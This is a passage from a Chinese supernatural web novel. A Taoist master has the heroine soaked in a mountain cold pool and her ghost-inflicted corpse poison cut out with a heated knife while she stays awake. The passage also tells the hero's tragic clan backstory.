老爷子微笑着站在外婆几步之外的地方，虽然两人话里话外都像是多年的熟人，但刻意保持着一段距离却略显生疏。
在老爷子走入休息室的时候，吴妄就站起身了，平日里习惯于放荡不羁的他，像是看到了如来佛的猴子一样，从容不迫的表情也多了几分严肃，微微低下头，他像是一个听话的小徒孙一样站在原地。
老爷子瞥了一眼吴妄，气定神闲地说道：“看来，你的本事也不怎么样。”
吴妄不服气地说道：“……我真身不在那里面，当时若是我的真身，我定能铲除那恶鬼。”
“你不是真身，那你又怎知对面是否是真身？”老爷子摇了摇头，他伸手捋了捋自己白色的胡子，他轻柔的胡子一直蓄到了胸前，跟电视上看到的那些老神仙一样道骨仙风的做派。
吴妄没有回答。
他也知道自己似乎低估了恶鬼的实力。
从始至终，对方始终没有露出真面目，所有展现在世人眼前的，似乎都是恶鬼刻意的化像，虚虚实实、实实虚虚，仅仅只是表象都足以让他们应付不暇，若是厉鬼的真身此刻出现在这里，他们是否有本事化解危机？
吴妄不敢夸口。
但人外有人、天外有天，修为高低，毕竟也是有差距的。
“大智闲闲，放荡无拘，任其自然，你小子要学的东西还多着呢。”老爷子说着，摇了摇头。
“行了行了，别跟我这儿摆谱。”沈聆的外婆白了一眼老爷子，“你从青城山赶来，是有什么指教？我记得你一向不爱出山，怎么，现在肯离开你那个宝贝青城山了？”
“非也非也，我只是感觉到我小徒孙有麻烦了，来看看究竟是什么东西让青城山74代最优秀的徒孙也没办法解决。”
老爷子不急不慢地摆了摆手。
“事情的前因后果呢，我大概也知道，我推演了一卦，测出那只造孽的恶鬼的确就在陵川市，只不过，它的道行很高，并且受了人间的香火，已经有了一定的修为，此鬼生前必然遭受许多不平之事，死后化作厉鬼弥留在人间，并且被有心人利用，残存于世，若是要连根拔除，并非一朝一夕之事。”
外婆点了点头：“这些都不是要紧的，要紧的是我外孙女，你快给看看，她是第44任阴厨，我刚才听这些孩子们说，她已经接了一个‘活’，唤魂了，但是还没有祭魂，如果48小时内没办法醒来的话，我担心她要被反噬。”
见外婆说到这个，宋明夷忙说道：“婆婆，李子晨的魂魄离开的时候我也在场，他亲口跟我说，他会把剩下的阴德都给沈聆，而且他离开的时候也没有痛苦的表情，还要让我替他谢谢沈聆……是不是就不用祭魂了？毕竟……他的魂魄好像都已经投胎转世了。”
“他不是投胎转世了。”老爷子平静地说道，“你看到的，是他们五个魂飞魄散的过程。”
“什么？！”宋明夷一愣，心像是被狠狠撞了一下。
“那五只鬼，该是凝结所有的魂力替你挡下了煞气，他们的魂魄消散了，那并非投胎转世，而是魂飞魄散，三魂七魄，全都归于天地之间。”
老爷子的声音很平稳，但说出的话却像是带着刀子一样，一下一下挖着宋明夷的心。
她的脑海中浮现出方才她看着那五个魂魄消失的过程，泪水不由得涌上了眼眶，模糊了她的视线。
她原以为，他们是有了个好去处。
她原以为，他们是转世投胎去了。
但现在看来，他们是没办法转生了。
他们在生命的最后一刻，放弃了投胎转世的机会，用尽所有的力量替她挡下了厉鬼的煞气，甚至在最后都担心给她留下一辈子的心结没有选择告诉她真相……
他们就这样离开了，甚至其中有的人与宋明夷素未谋面、素不相识……
“既然已经魂飞魄散了，那就没有祭魂的必要了。”外婆遗憾地摇了摇头，“也就不存在什么48小时的事情了。”
宋明夷张了张口，她想说些什么，但那些没有说出口的话，就这么哽咽在喉咙口，她颤抖着身体，两行清泪就这么划过脸颊。
林凌拍了拍宋明夷的肩膀，叹了口气。
或许，这就是生命。
看似脆弱，但也很强韧。
“别担心，他们虽然归于天地，但所有人的结局不都是这样的吗。”老爷子沉声说道，“天地万物，花鸟虫鱼，虽然我们自诩为万物灵长，但最后，轮回的归途，也是长眠天地，死亡并不是生命的终点，或许这才是最好的长眠，至少，他们不必再作为傀儡被操控了。”
“我要找到那只鬼。”吴妄眼眸中闪过一丝决然。
这已经不是他第一次与那只厉鬼对阵了，他应该是最熟悉厉鬼的人，或许，也是最有资格消灭厉鬼的人。
“我们青城山，本就秉持着斩妖除魔、维持人间正道的理念，这些都是我们的分内之事。”老爷子说着，话锋一转，“哦，对了，我还没有自我介绍，老道是青城山第70任掌门，道号‘玉蘅子’，也是吴妄的师祖。”
老婆子打断了玉蘅子真人的自我介绍：“行了行了，待会儿再自我介绍吧，老东西，你先帮我看看我的外孙女，我的外孙女到现在还没有醒
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过来，是不是被厉鬼勾魂了？”
闻言，玉蘅子走到了沈聆身边。
他用指尖抬起了沈聆的下巴，挪着她的脑袋左右看了看，沈聆的呼吸均匀，睡相也很安稳，像是完全感觉不到外界的声音，她沉睡在自己的世界里，像是找到了久违的安稳。
“在第一次祭魂的时候，她曾经被厉鬼所伤，肩上有五道抓痕，我怀疑，聆娃儿的昏迷跟这抓痕有关系。”外婆说着，站起身也来到沈聆身边。
她扶着沈聆的脑袋，让沈聆轻轻倚靠在自己身上，稍稍拉开了沈聆的衣领，在惨白色的灯光下，沈聆右肩上的抓痕触目惊心——那五大抓痕很小，看起来像是七八岁的孩子抓下的，但抓痕很深，抓破了皮肤，并在破皮处留下了黑色的尸毒，凑近了还能嗅到略微发臭的腐烂的味道。
这伤口，比起外婆第一次看到的时候，似乎更严重了一点。
外婆的眼眸里浮上了一层担忧，她看向了玉蘅子，软软的目光里带着几分祈求。
这是她孩子的孩子。
原本正是豆蔻年华的两个孩子，本应青春洋溢的年纪，却一个在ICU，还有一个昏迷不醒。
“我的女儿已经出车祸死了，这是我女儿的孩子……我不能再让她们出事。”外婆的声音有点儿颤抖。
玉蘅子点了点头，眼眸里的情绪明暗不定。
“你这外孙女身上有灵元草，但纵使是灵元草也没办法化解这伤口的尸毒，下这毒的人，看来一开始就是要通过尸毒要了你外孙女的命……只不过你的外孙女福大命大，有一株灵元草一直在滋养她的身体，延缓中毒的速度，这次的幻境削弱了灵元草的治愈能力，才让尸毒加深了。你想的没错，这孩子的昏迷不醒，的确和这伤口有关系。”
“我们能做点什么吗？”吴妄追问道。
玉蘅子意味深长地回过头看了一眼吴妄，意识到玉蘅子的眼光有点儿奇怪，吴妄别开眼，闭口不言。
“老东西，你们青城山有办法吗？”
“……有是有，不过这孩子得受点苦，而且，老道没有十足的把握。”
“怎么说？”宋明夷也紧张地追问。
经过这一系列的事情，大家早已经是生死与共的朋友，此刻，所有人都牵挂着沈聆的情况，希望她能好好的。
“我青城山的后山下，有一池万年寒潭，若要缓解尸毒的入侵速度，非将这孩子放入寒潭不可，寒潭冰冷刺骨，女子本就柔弱，尚且不知她的身体是否能承受寒潭之冰……此外，在受过寒冰后，还需要刮去她皮肤上的尸毒，才能彻底解毒……但我看这孩子身上尸毒已经深入肌理，若是要强行刮去，怕是钻心刺骨，无异于生生割肉，我怕，这孩子承受不住。”
玉蘅子说着，叹了口气。
一时间，众人都没有说话，光是通过玉蘅子的描述，就已经能想象到是多么可怕的画面。
活生生挖掉一块肉……
这真的是常人能忍受的痛苦吗？
100. 寒潭
青城山。
在陵川市外七十公里处，那片地域远离喧嚣，虽看似荒僻，却绝非荒郊野岭可以简单概括。
这里山峦起伏，绿树成荫，鸟鸣婉转，溪水潺潺流淌，宛如一幅宁静而优美的山水画卷。
青城山的道家传承已有千百年之久。不知第一任师祖是何时在山上建起一座孤庙，岁月流转，年复一年的传承，为这座山赋予了独特的道家韵味。
山上云雾缭绕，宛如轻纱，给人一种神秘而空灵的感觉。古木参天，有的枝干粗壮，需数人合抱；有的形态奇特，似卧龙盘曲。山间的石阶蜿蜒而上，仿佛诉说着岁月的故事。
这座山孤峰耸立，仿佛是从大地中凭空拔地而起一般。
高耸入云的山脉，山峰隐匿在云雾之中，若隐若现，让人难以窥见其全貌。
而那座道观就坐落在青城山的山腰处，道观内皆是修行者，他们有的一生都没有离开道观，有的在半途选择还俗，每个人选择不同的路，有着不同的机遇，但都秉持着救世救人的胸怀，行走于人世间。
门派直接以青城山为名，道观古朴典雅，红墙青瓦，在绿树的映衬下显得格外宁静，道人们秉持着降妖除魔、斩妖救世的宗旨，修行自身，顺应道法自然，这里的一草一木、一砖一瓦，都散发着浓厚的道家气息，让人感受到一种超凡脱俗的宁静与祥和。
新的故事，就从这里开始。
……
沉睡在梦境中的沈聆，并不知道外面发生的事情。
这一觉，她睡了很久。
她一向是一个很浅眠的人，或许是八字比较轻的原因，她通常一晚上都会做很多梦，并且那些梦境多数以噩梦为多，可这一次，她第一次没有做梦了，这一觉她睡得很沉很沉，就好像她的身体被冰封了一样，所有的思绪都被冻结了，她就这么沉睡着，没有任何梦境，也没有任何打扰。
也不知道过了多久。
当沈聆迷迷糊糊转醒的时候，发现自己好像很冷。
对。
在还没有睁开眼睛的时候，她便感觉到一股寒凉浸透着自己的每一寸皮肤。
那种感觉并非只是单纯的肌肤之凉，而更仿佛是被无数的冰块紧紧地包裹住，不留一丝缝隙。
她感觉到整个人似乎完全沉浸在了一个无比巨大的冰池之中，身体的每一寸肌肤、每一条经脉，甚至连最细微的毛孔都毫无保留地浸泡在这极度的寒凉里。
刺骨的寒意犹如成千上万只细密的小针，不停地扎刺着她娇嫩的皮肤，带来一阵阵尖锐的疼痛，她忍不住打了个寒颤，原本混沌不清的思绪也渐渐从昏沉迷蒙中苏醒过来。
这种感觉，恰似要将深陷于沼泽之地的大脑费力地拔出一般，其中夹杂着难以言喻的沉重疲倦和强烈不适。她微微颤抖着眼睫毛，如同蝴蝶轻扇翅膀般轻柔缓慢。
终于，经过一番努力，沈聆缓缓地睁开了双眼，目光还有些迷离，似乎还未完全适应周围的环境。
“你醒了。”
一个熟悉的声音在耳边响起。
那声音乍一听，似乎在很远的地方，但随着沈聆醒来，她发现那声音似乎就在自己耳边。
她缓缓睁开朦胧的睡眼，却惊觉一个人近在咫尺！
那人的脸庞氤氲着丝丝雾气，轮廓如精心雕琢般分明，在冰霜之气的笼罩下线条愈发清晰冷峻，两条鬓发轻柔地垂落在脸颊旁，他的脸色略显苍白，仿若画中走出的病弱公子。
“道长？”
沈聆试探性地唤了一声，但她发现自己的喉咙十分沙哑，像是有什么东西堵在喉咙口一样，沉睡了许久，浑身无力，就连说话也没有了气力。
她咳嗽了几声，试着深呼吸了一下。
“不着急，慢慢的。”
吴妄的声音在耳畔响起，此刻，他近在咫尺。
沈聆的思绪一下子清醒过来，她这才看清了周围的一切——
他们两个身处一片深蓝色的寒潭中，周围都是白色的冰霜，寒潭中间的池水呈现出莹莹的宝石蓝。寒潭上笼罩着淡淡的白色雾气，她和吴妄身处其中，两人都只穿着一件白色的薄薄的内衬，浸泡在寒池之中，身体的线条在寒池中若隐若现。
“啊——”
羞耻心爆棚！
沈聆下意识地尖叫了一声，她往后退了一下，但却发现自己身后像是有一堵无形的墙壁一般，让她退无可退。
“怎么……”
“这是由我的真气筑起的结界。”吴妄波澜不惊地沉声说，“你的身体受不住寒潭的寒气，师祖说只有纯阳真气能暂时帮你护住几分，否则你进入寒潭不到一分钟必将寒气入体、冻绝身亡。”
“寒潭……”
“这里是青城山后山的寒潭，千年冰霜能减少尸毒进入你体内的速度。你曾经被厉鬼所伤，你右肩的伤口有尸毒，这也是你一直昏迷不醒的原因。”吴妄解释道，“把你带来寒潭，是想借助千年寒冰减缓尸毒在你体内蔓延的速度，之后要用刀挖去你肩上的烂肉，这样才能治好你身上的伤。”
伤口？
尸毒？
沈聆迷迷糊糊的，有点儿反应不过来。
不过，她皱着眉头感受了一下，确实，最近隐隐约约疼痛加重的伤口，她隐忍许久，在进入寒潭之后似乎真的少了几分疼痛的感觉。
“这是在你第一次祭魂的时候，那只厉鬼在你身上留下的伤口，它同时在你身体留下了尸毒，这次进入了厉鬼的幻境里，你的身体虚弱，受不住尸毒后就陷入了昏迷。”吴妄停顿了一下，“不过你放心，我师傅说按照我刚才说的方法就可以解决掉你身上的尸毒问题，只不过要受些苦头。”
沈聆听着吴妄的解释，点了点头。
她那原本飘忽不定的视线，在吴妄说话的时候下意识地看向了身旁的吴妄。
此刻，吴妄身着的那件原本洁白如雪的内衫，已然被寒潭之水浸得不成样子，透过这湿漉漉的衣物，男子胸膛处硬朗的线条轮廓竟隐隐浮现，氤氲雾气将他清俊的面容模糊了些许，透明
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的小水珠顺着他的脸庞、脖颈缓缓淌下，划过胸膛，使得衣衫下的轮廓若隐若现。
那水珠仿若带着丝丝凉意，又似蕴含着某种神秘。
起初，她还暗自揣测着眼前这个男子或许有着一副骨瘦如柴的身躯。然而，当目光真正触及到那若隐若现的胸膛时，她才惊讶地发现自己大错特错。那结实的胸肌和紧致分明的腹肌轮廓清晰可见，仿佛是精雕细琢而成一般。
刹那间，女子只觉得自己双颊似火般滚烫绯红。
她像是被烫到了一般，迅速地别开了眼眸，不敢再去直视那个让她面红心跳的身影。
此时此刻，她的脑海中犹如被一阵狂风席卷而过，瞬间变得空白一片，至于吴妄口中所说的疗伤之事，还有那令人畏惧的尸毒，在此刻都早已被抛诸脑后，全然没了心思去理会。
“你……你师傅又是哪个？”
“就是你在幻境里听到的那个老头的声音，就是我师傅。”吴妄像是粗神经地没有发现女孩的脸红，岔开了话题，“师傅说，要在这里三天三夜，目前已经是第三天了，应该是寒潭减缓了你的血流速度，配合寒性的灵元草，减轻了你身体上的尸毒，所以你才醒了过来，待会儿我带你去见我师傅，他答应了你外婆，会救你的。”
“我外婆？”
“嗯，你外婆好像和我师傅是故交，这次把你带上青城山，也是看在你外婆的面子，否则青城山是不允许女子入内的。”
丝丝真气自吴妄的身周扩散在寒潭里，那似乎是他的修为，也是因为这真气形成的结界，才护住了沈聆的心脉，让她身处寒潭而不至于被冻死。
一时无话，沈聆沉默着，回想起了自己昏迷前在幻境里经历的一切。
稍稍抬起头，她小心翼翼地窥视着吴妄。
察觉到沈聆的视线，吴妄看向了她：“怎么了？一副有话要说的样子。”
“我在想……道长，是轩辕氏的后代，那么轩辕氏……上古继承的姓氏吗？”
吴妄没有说话，只是微微蹙起眉头。
沈聆的这句话，似乎带着他想起了遥远的过去，那些被封存在心里最深处的回忆，没想到有一天会以这样的方式被他人所窥探，甚至于，被藏在陵川市的恶鬼得知。
“……是我太计较过去的心结了，才让它发现了我的秘密。”
“稀血的秘密？”
“嗯，我是轩辕氏的后代，并且如你所见，我身上流淌着的，是稀血。”
“什么是稀血？”
“说白了，就是类似于补品一类的东西，有钱人会吃鹿茸、人参、燕窝滋补身体，而修行之人也会寻找一些能提升修为的东西以让自己的修行事半功倍。而我们轩辕氏的血，就是能提升修为的‘补品’。”
“这……要怎么吃啊？”
“你看过吸血鬼的电影吗？”
“看过。”
“和吸血鬼差不多，他们会放出我们身上的血，每三天喝一次，一个月圆周期后，就能提升一层修为。”
101. 剜肉
沈聆此前从未接触过青城山，对道家之事也一无所知，然而，自从接手阴厨之事后，她仿佛打开了一扇新世界的大门，逐渐被这些神秘之事所吸引。
沈聆置身寒潭之中，吴妄周身张开的结界抵御了部分寒意，使得她能够冻结伤口处的尸毒，同时也不至于在寒潭中冻毙。
“轩辕氏拥有稀血，我们的血液能够提升修行者的修为。不仅修行者，就连厉鬼、妖物也对其觊觎不已。”吴妄沉声说道，“所以，我的祖上为了减少纷争，一直隐居世外，化名为‘吴’。但不知为何，在我五岁那年，吴家村的事情暴露了，引来了仇家。我的母亲为了保护我，在我面前离世，轩辕氏一族也只剩下我一人。”
他说话的声音很轻，这些回忆充满了血腥，但他却以平静的语气叙述着，仿佛一个行将就木之人。
他的眼眸中闪烁着寒光，或许是因为这些事情在他心中已经反复浮现了千百遍，他早已多次直面这个残酷的事实。
愤怒、仇恨、不甘、痛苦……这些负面的情绪会逐渐化为平淡，最后变成心底的伤疤，经年之后，就成为了化不开的心结，那些画面会一遍遍在脑海中重复上演，而对自己的自责之情也会逐日增加。
“那个幻境，其实你本可以自己离开，只是被自己的心结困住了。”沈聆轻声说道。
“嗯……我寻找了很多年，都没有找到那个叫顾老五的男人。我不知道他们是谁，也不清楚他们受命于谁。他们如同死士一般，神出鬼没，隐藏极深。师傅虽然劝我要放过自己，与其追查真相，不如带着轩辕一族的希望好好活着，但我不甘心就这样放弃，我会一直找下去，灭门之仇，不可不报。”
吴妄的声音十分坚定，他像是在平淡地叙述着自己一直以来所做的事情。
他从来没有跟别人提到过自己的打算和往事，沈聆还是第一个让他能稍微打开心扉的人。
“……”
沈聆回忆起自己第一次见到吴妄的时候，他正在路边摆摊算命。
吴妄从小在青城山长大，与外界的联系并不多，这是青城山对他的保护，但同时也是他寻查真相的阻碍。离开青城山后，他与外界接触甚少，只能用自己的方式去调查当年的真相。
沈聆叹了口气。
吴妄的心情是可以理解的。
毕竟，谁看到家人死在自己面前能平静下来呢？
纵然他当年只有五岁，但这样的画面已然给他造成了一生的心结。
死去的人永远离去了，而活着的人，却需要一次次承受痛苦。
但另一方面，既然对方是调查、追杀轩辕氏的人，轩辕氏世世代代都隐居在与世无争的小山村，如此隐蔽的地方都能被他们找到，可见对方绝非泛泛之辈。要找出他们的行踪并非易事。
思考良久后，沈聆抬起头看向吴妄：“……别担心，我和你一起。”
“你？你要怎么帮我？”吴妄微微一挑眉，眼眸中的严肃之色淡了几分。
“我……”
“你就算不是阴厨，也只是一个高三的学生吧。甚至比我还小几岁，你有什么人脉关系网？”
吴妄略带玩味地看着沈聆，如同看着一只不自量力的小猫，眼神中带着几分笑意。
“我……我现在是没有，但是以后说不定就有了呢！”沈聆不服气地说，“而且……而且现在宋明夷也把这件事情的热度炒上去了，说不定就有大富大贵之人来委托我超度亡魂呢。只要有这方面的生意，就有门路可以调查吴家村的事情了。”
“既然如此，我先谢谢你了。”
“别别别，如果要说谢谢，你倒是已经救了我很多次，我都要谢不过来了。”沈聆轻声说道。
沈聆想着，这次也是青城山出手救了自己，恐怕自己欠青城山的就更多了。
如果不能还报万分之一，至少能尽自己的能力帮一帮他们。
——如果能尽快治好尸毒就好了。
——省得我一直忍着了……
沈聆是这么想着的。
但是她没想到，治疗尸毒的过程比她想象中要更可怕一点。
她现在虽然是微笑着的，但很快就笑不出来了。
……
“刷刷刷——”
伴随着一阵急促而又刺耳的声音，在那烧得火红的炭火之上，一把锋利无比的长刀正紧紧地贴合着磨刀石，不断地来回摩擦着。
一下接着一下，每一次的接触都迸射出点点火星，仿佛夜空中璀璨的繁星瞬间坠落。
那刀刃早已被熊熊燃烧的炭火烤得通体透红，宛如一块刚刚从熔炉中取出的炽热铁块。
而炭火之中，则不时地闪烁出耀眼的蓝色火焰，它们如同灵动的精灵一般，在跳跃、舞动。
这刀刃在火光的映照下，闪烁着令人胆寒的寒光，就好似隐藏在无尽黑暗中的狰狞魔鬼，正张开血盆大口狞笑着，等待着猎物的靠近。
此时，一位满头白发、满脸皱纹的老头正神情专注地在磨刀石上摩挲着手中的刀，他粗糙的双手布满老茧，每一次用力都显得那么沉稳有力。
忽然间，他微微扭过头来，用那双眯成一条缝的眼睛望向了坐在几步开外的沈聆，嘴角缓缓扬起一个极其诡异的弧度，那笑容让人毛骨悚然，仿佛来自九幽地狱，他那原本就细小如豆的眼眸里，此刻竟像是蕴含着几分吓人的冷意，犹如寒冬腊月里的冰霜，直刺人心扉。
沈聆打了个哆嗦，不由得往后退了退。
“怎么？害怕了吗？”吴妄站在沈聆身边，看着坐在椅子上瑟瑟发抖的沈聆，略感好笑。
“我……”
“别担心，哑伯是我们青城山最好的大夫，治疗外伤或者内伤他都是行家。”吴妄沉声说着，他的视线落在几步之外的白发老头身上
那位被称为“哑伯”的老头看起来有八十多岁，他的头发胡子全都花白了，头发在头上束了起来，他驼背着，身子弯成了大概只有一米六左右的高度，骨瘦如柴的他，身上穿着浅灰色的粗衣，虽然已经年逾古稀，但他磨刀的力度丝毫没有减弱。
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沈聆看着哑伯磨刀霍霍的样子，不由得内心打鼓。
本能地恐惧感早已经让她汗流浃背了！
今天，是沈聆到青城山的第四天，经过三天三夜的寒气浸染，吴妄和沈聆已经从寒潭出来了，沈聆的身体因为经过长时间的昏迷再加上寒潭的寒气，行动能力大概只有原先的80%，吴妄扶着他来到了师傅的内室，在这里，他的青城山的大夫——哑伯，已经准备好替沈聆“祛毒”了。
祛毒的过程，说繁琐也繁琐。
需要事先调制草药，将祛毒的草药熬得浓浓的，并将刀刃浸泡其中，泡完之后，在烧得通红的炭火上磨砺，最后直接用热热的短刀剜肉。
“我……我能叫我外婆来陪我吗？我有点儿害怕。”沈聆可怜巴巴地抬起头看向了吴妄。
“没办法，青城山的规定，女子不能进入，你是因为身上有伤，秉持着‘救死扶伤’的原则，才破例让你进来的，而且你进来的时候，是昏迷中的状态，山门内的师兄师伯也并没有什么意见，但如果让其他女子进入山门，就有辱门规了。”
沈聆听着吴妄的话，不由得攥紧了拳头。
她从来都是最怕疼的，小时候打针都需要爸妈拉着手，现在要挖肉，而且身边没有一个亲人，还不能打麻药，要直接把右肩上的烂肉整块挖掉，想一想就让人胆寒……
沈聆战战兢兢地瞥了一眼那被磨得通红的刀刃，心中的恐惧感瞬间又增添了几分，她不由自主地颤抖起来，此刻的她真希望能给自己狠狠来一拳，让自己就此昏死过去，也许这样反而要比清醒着忍受挖肉之苦要好受一些。
吴妄将这一切尽收眼底，他望着眼前这个可怜兮兮的女孩，一种难以言喻的情绪涌上心头。
几乎没有经过任何思考，他下意识地伸出手，紧紧握住了沈聆的手。
当沈聆感受到从吴妄手掌心传递过来的温暖时，她微微一愣，然后缓缓转过头，目光与吴妄交汇在一起。
他用低沉但却充满力量的声音说道：“别担心。”
仅仅三个字，却仿佛带着某种力量，让沈聆那颗原本惊恐不安的心稍稍安定了下来。
“……道长，你有什么符咒可以止疼吗？”
“没有，你以为符咒是麻药嘛？”
“那能不能把我打晕了再挖肉？”
“不行，得根据你的感觉，看看要挖到哪一种程度。”
沈聆只能在心里为自己默默哭泣了。
听着两人的对话，哑伯已经把刀磨好了。
他拿着通红的刀刃朝着沈聆走来，同时比了个手势，示意沈聆把右肩的伤口露出来。
沈聆深吸了一口气，坐在木凳子上的她微微侧过身，解开了衣服上的三个扣子，将衣襟褪到了肩膀的地方，露出了右肩肩头的伤口。
出于礼制，吴妄别开了视线。
清浅的阳光透入窗棂中，在阳光下，沈聆的肩膀上五道小孩子的抓痕已经变成了黑色，伤口周围的肉几乎都烂掉了，露出糜烂的残肉。
102. 祛毒
当那烧得通红、仿佛能将空气都点燃的刀刃逐渐靠近伤口时，沈聆甚至能够清晰地感受到刀刃上传来的炙热高温。那股热浪犹如一条火龙，张牙舞爪地扑向她受伤的部位。
她不由自主地紧紧攥住了拳头，指甲深深地嵌入掌心之中，试图通过这种方式分散自己对即将到来剧痛的注意力。
然而，这一切都是徒劳的。一滴滴冷汗如同断了线的珠子一般，从她的额角滑落，浸湿了她鬓边的发丝，她原本就略显苍白的脸色此刻更是白得像一张纸，没有丝毫血色。
那烧得火红的刀刃沿着伤口的周围缓缓按下，伤口附近的皮肉早已因为尸毒的侵蚀而腐烂了大半，但正是由于尸毒的存在，使得伤口处的痛感被无限放大，就在刀口轻轻触碰到伤口的那一刹那，沈聆感觉仿佛有一根极寒无比的冰刺猛地扎进了自己的皮肉深处，一股刺骨的寒意瞬间席卷全身。
“嘶……”
紧接着，刀口毫不犹豫地顺着伤口的边缘用力割开了皮肉，那种疼痛简直无法用言语形容，就好像被一只凶猛残暴的巨兽狠狠地咬住，然后无情地撕扯下来一大块血肉一样。
如此剧烈的疼痛让沈聆再也无法忍受，泪水夺眶而出，哭声在寂静的房间里回荡开来。
“疼……”
她的身体不由自主地颤抖了起来，出于规避疼痛的本能，她往旁边倾斜了一点身体，但就是这样的倾斜，歪斜了下刀的走向，让哑伯手中的刀歪了一点，刺入伤口更深了几分，暗红色的血液瞬间涌了出来，顺着右肩滑落，染红了她身上白色的衣服。
哑伯皱起眉头看向了吴妄。
吴妄与哑伯交换了一个眼神，他会意，侧身靠近了沈聆，轻轻按着她的脑袋，让她能够靠着自己，同时，左手稍微按住了沈聆的右肩膀，减少沈聆身体的移动和颤抖。
“忍一下。”
他轻声说着，看着宛如受刑的一幕，也是别开眼睛不忍心再看下去，此刻，也恨不得自己有能缓解疼痛的符咒，尽可能减少沈聆的痛苦。
但这个过程必须在沈聆全程清醒的情况下进行，无法使用麻药——因为清毒不是一次就能完成的，在挖出大部分烂肉之后，还要换成小剪刀，对周围的伤口进行清创，清创依据就是沈聆伤口的感知情况，只有她才知道伤口究竟烂到什么程度、是否都已经完全将隐隐作痛的烂肉清除了……
因此，这个过程虽然痛苦，却是必不可少的。
锋利无比的刀刃紧紧贴着沈聆那触目惊心的伤口，小心翼翼地切割着，逐渐削除了一块形状不太规则、近似圆形的区域。
紧接着，哑伯周期美图、手上微微加力，将那闪着寒光的刀刃缓缓推送至更深层次的皮层之中，然后，他如同铲雪一般，动作轻柔而又坚定地把伤口处的腐肉整块慢慢地向上挖掘开来。
血腥味混合着草药的味道在门窗紧闭的房间里扩散着，并随着哑伯的刀法，血腥味越来越浓郁。
随着刀刃不断地向肌肉深处挺进，鲜红的血液仿佛决堤的洪水般汹涌而出，汩汩流淌不止。
这时，眼疾手快的哑伯迅速抄起放置在一旁桌子上洁白如雪的纱布，准确无误地将其倚靠在伤口的正下方位置，以便接住那些源源不断溢出的血水，与此同时，哑伯还不忘递给身旁的吴妄另一方纱布，示意他协助用这方纱布吸取掉伤口周边不停渗出的鲜血。
就这样，这场令人揪心的挖肉行动在沈聆始终保持清醒状态下紧张有序地推进着。
沈聆紧咬牙关，双手死死握拳，用尽全身力气强忍着剧痛带来的折磨。
她能清晰地感受到那炽热如火的刀刃在自己的肌肉之间来回游走，那种感觉就好像正在经历传说中的刮骨疗毒之苦，浑身上下每一寸肌肉都不受控制地颤抖着，每一寸肌肤都好似被烈火灼烧般火辣辣地刺痛难忍，就连伤口附近的血管似乎也在剧烈地跳动着，仿佛随时都会爆开一般。
疼痛使得沈聆泪水如断线珍珠般滚滚而下，但即便如此，她依然竭尽全力维持着挺直身体的坐姿，她知道自己不能给哑伯和吴妄添麻烦，自己能来青城山疗伤，就已经是看在许多人的情面了，自己也要争气一点，当前所受不过是区区剜肉之苦罢了。
“嘶……”
疼。
是真的疼。
疼痛对人类来说，是一种保护机制。
让人在感觉到疼痛的时候能够本能地规避风险，减少伤害。
今天的疼痛，也在提醒着沈聆，阴厨的工作并不是想象中这么轻松的，她面临的对手如此可怕，不容许一分轻敌。
对方只是在她身上留下了一个抓痕，甚至就会让她面临生命危险。
这样的厉鬼，不是她区区一个新手阴厨能够抗衡的。
……
也不知道过了多久，剜肉的痛苦终于减轻了几分，哑伯手中的刀离开了沈聆的右肩膀，沈聆微微侧过头，看见他的刀刃上放着一坨黑色的软乎乎的东西，那看起来似乎是自己肩膀上刚挖出来的烂肉。
烂肉的大小并不大，但却已经发黑发臭，哑伯用刀将烂肉挑掉，并放在了旁边白色的瓷盆中。
随后，他抄起旁边放着的黑色的剪刀，在火上过了一下，伸向了沈聆的肩膀。
伤口旁边还有许多黏连的烂肉需要剪掉，在剪刀接触到新伤的时候，又是一种刺痛。一瞬间，就像是有千万根银针扎在自己的伤口上，沈聆不由得别开脸，靠着吴妄的她，将脸埋进了吴妄的臂膀里，身体因疼痛不由自主地颤抖了起来。
“快好了，再忍一下。”
吴妄一只手按着沈聆的肩膀，另一只手拿着纱布帮着哑伯，那只手已经满是鲜血，纱布换了一条又一条，他看着哑伯挖掉了表层的烂肉，露出深层的创口才感觉到尸毒的可怕。
——尸毒已经进入了沈聆更深层的肌
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肉里，并沿着肌肉的走向蔓延开来，表层的烂肉只是一层掩盖，在挖开了表层的烂肉之后可以看到，在肌肉里有许多类似小蛆虫一样的虫子顺着肌肉的走向钻动着！
它们以沈聆的血为食，并啃咬着肌肉，而被啃咬的肌肉正轻轻颤抖着，它们看起来只有米虫大小，似乎是尸毒滋养下的血蛊虫。
在哑伯将浸泡草药的纱布按在伤口上的时候，那些蛆虫像是受到了刺激一样，更往深层的肌肉啃咬和钻动。
沈聆疼得哭了出来，直喊着“不弄了、不弄了”。
“忍一下。”
吴妄的手按着沈聆，他的力气很大，沈聆根本没办法挣脱，只能任由哑伯继续处理自己伤口处的蛆虫。
在哑伯将纱布拿开的时候，吴妄看到那些蛆虫像是被草药杀死了一样，刚开始像是剧烈钻动，接着，慢慢没有了动静。
这草药是玉蘅子真人亲手配的，哑伯熬了十几天，浓浓的草药专门克制这些蛆虫。
在蛆虫没有动静之后，哑伯着手将烂肉周围黏连的皮肤、被蛆虫啃食的肌肉一起用剪刀剪掉了。
那些肉已经烂掉了，在剪刀剪动的时候，没有一点弹性，似乎皮肤、肌肉组织已经完全死掉了。
这个过程没有持续太久，在清除掉剩下的烂肉之后，哑伯用草药浸泡的纱布和棉花清理了一下伤口周围残余的尸毒，随后，用烧红的刀刃在烫了一下伤口周围的血管，在确认止血后，又浮上了草药研磨而成的草药膏，最后用纱布将伤口缠绕了几圈，在沈聆的肩头打了个蝴蝶结，像是考虑到小女孩更喜欢蝴蝶结的心思，在系好蝴蝶结之后，哑伯满意地看着自己的作品，放下纱布，擦了擦手，但一双手上暗红色血早已经凝结了。
“弄好了。”吴妄低下头，看着将脸蛋埋在自己身前的沈聆，他感觉沈聆整个身体没有了气力，到最后都靠自己支撑着她颤抖的身体。
也确实是为难她了，毕竟只是一个十九岁的女孩子，却要活生生承受剜肉的痛苦，哪怕是一个壮年的大老爷们也不见得能承受被活生生剜肉、尸毒侵蚀以及蛆虫啃咬的痛苦。
沈聆抬起头，一张小脸疼得惨白惨白的，她的嘴唇一片鲜红，显然是刚才剜肉的过程中咬破了嘴唇，朱唇衬着白脸，倒让她此刻看起来像极了唱戏的角儿。
吴妄一笑。
见状，沈聆蹙眉：“……你笑什么？”
“没什么，只是觉得你挺厉害的，伤口都已经长虫了，你怎么还能忍着？”
“我……我以为忍一忍就过去了，哪知道一天比一天疼……”沈聆微微侧过头，看着瓷盆里自己的烂肉，仍然心有余悸，“现在就可以了吗？”
